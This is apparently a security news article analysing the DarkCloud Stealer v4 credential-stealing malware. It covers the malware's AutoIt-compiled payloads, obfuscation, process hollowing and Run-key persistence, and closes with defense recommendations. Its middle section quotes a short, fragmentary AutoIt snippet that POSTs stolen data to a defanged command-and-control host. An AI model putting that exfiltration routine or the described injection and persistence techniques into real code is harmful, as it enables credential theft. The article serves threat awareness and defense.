DarkCloud v4: A Silent Surge in Credential Theft Using AutoIt Automation

A stealthy evolution of the credential-harvesting malware known as DarkCloud has surfaced, this time weaponizing the AutoIt scripting language—traditionally used for benign automation—to slip past modern cybersecurity defenses and silently extract sensitive user credentials.

This iteration, labeled DarkCloud Stealer v4, has been actively compromising financial entities, healthcare systems, and online commerce platforms throughout Asia and Europe since its emergence in March 2025.

What sets DarkCloud v4 apart is its tactical abuse of outdated scripting utilities and multilayered obfuscation, making it increasingly elusive to standard detection engines. Security analysts at Unit 42 (Palo Alto Networks) report that attackers are leveraging AutoIt’s scripting versatility to assemble payloads into deceptive, fully independent executables. These files convincingly imitate legitimate software operations, helping the malware sidestep behavioral analysis and sandbox containment.

The malware infiltrates systems primarily through well-crafted phishing schemes, malicious ad injections, and counterfeit software updates impersonating tools like Zoom and Slack. Once deployed, DarkCloud v4 scans for browser-stored data, login autofills, and even 2FA authentication tokens—then transmits them through encrypted HTTPS connections to attacker-controlled infrastructure.

To date, more than 120,000 user and enterprise accounts have been affected, with compromised credentials surfacing in underground marketplaces, fueling a thriving illicit economy.

A defining feature of DarkCloud v4 is its modular architecture, enabling remote operators to push real-time updates and evade evolving detection frameworks. This dynamic delivery model ensures the malware can pivot quickly in response to security countermeasures.

At the heart of the operation lies a clever twist on AutoIt scripting combined with process hollowing—a technique that injects malicious code into legitimate processes, effectively cloaking its activities from view. This strategic blend of simplicity and sophistication is what makes DarkCloud v4 particularly insidious.

Security professionals are now urging organizations to revisit how legacy scripting languages are handled across their environments and to implement behavior-based monitoring systems that can detect threats obscured by outdated—but still potent—tools.

DarkCloud’s Infection Tactics: Obscured Scripts and Memory Manipulation Redefined

Security researchers have uncovered a new dimension to DarkCloud v4’s intrusion mechanics—an infection sequence that leverages script-to-executable transformation to effortlessly bypass conventional threat detection mechanisms.

Rather than delivering raw scripts, attackers encapsulate AutoIt-based code inside compact executables. These payloads, when launched, operate entirely in memory—eluding static scans and signature-based antivirus tools. Embedded within these executables is an AutoIt interpreter that natively runs the malicious logic, such as exfiltration commands over HTTP:

autoit

include

$hSession = _WinHttpOpen()
$hConnect = _WinHttpConnect($hSession, “malware[.]cc”)
$hRequest = _WinHttpSendRequest($hConnect, “POST”, “/exfil”,…, $sData)

This simple yet powerful routine illustrates the malware’s ability to transmit stolen data to external command-and-control (C2) servers without raising typical red flags.

DarkCloud v4 enhances its stealth by layering string obfuscation techniques—notably Base64 encoding combined with XOR encryption—to conceal critical command strings. To further derail reverse engineering, it interlaces junk instructions throughout its codebase, frustrating static disassembly and increasing analysis time.

Memory-resident execution remains at the core of its deception. The malware adopts process hollowing to inject malicious routines into trusted system binaries such as explorer.exe and svchost.exe. This involves pausing a legitimate process, rewriting its memory space with DarkCloud’s payload, and resuming the process as if nothing changed—making traditional process monitoring nearly useless unless correlated with behavioral anomalies.

To achieve persistence beyond reboots, DarkCloud plants scheduled tasks and Registry entries under:

mathematica

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

These entries ensure that even after a system restart, the malware reactivates without user interaction.

Defense Recommendations

Security teams should shift from static defense models to adaptive behavior-based monitoring. Indicators such as AutoIt scripts spawning unexpected child processes, outbound connections to suspicious domains, or memory tampering in system-critical binaries can offer early warning signs.

Advanced threat hunters are encouraged to flag .a3x file executions and scan for AutoIt interpreters operating outside known administrative contexts. Segmenting internal networks and enforcing application control policies can significantly reduce lateral movement risk.

In the face of this evolving threat, one consistent entry point remains: social engineering. Organizations must continue user education and deploy email/web filters capable of catching fake updates and phishing ploys before they reach endpoints.

DarkCloud v4 represents a hybrid threat—simple in code, sophisticated in execution—and defending against it will require equally hybrid detection strategies.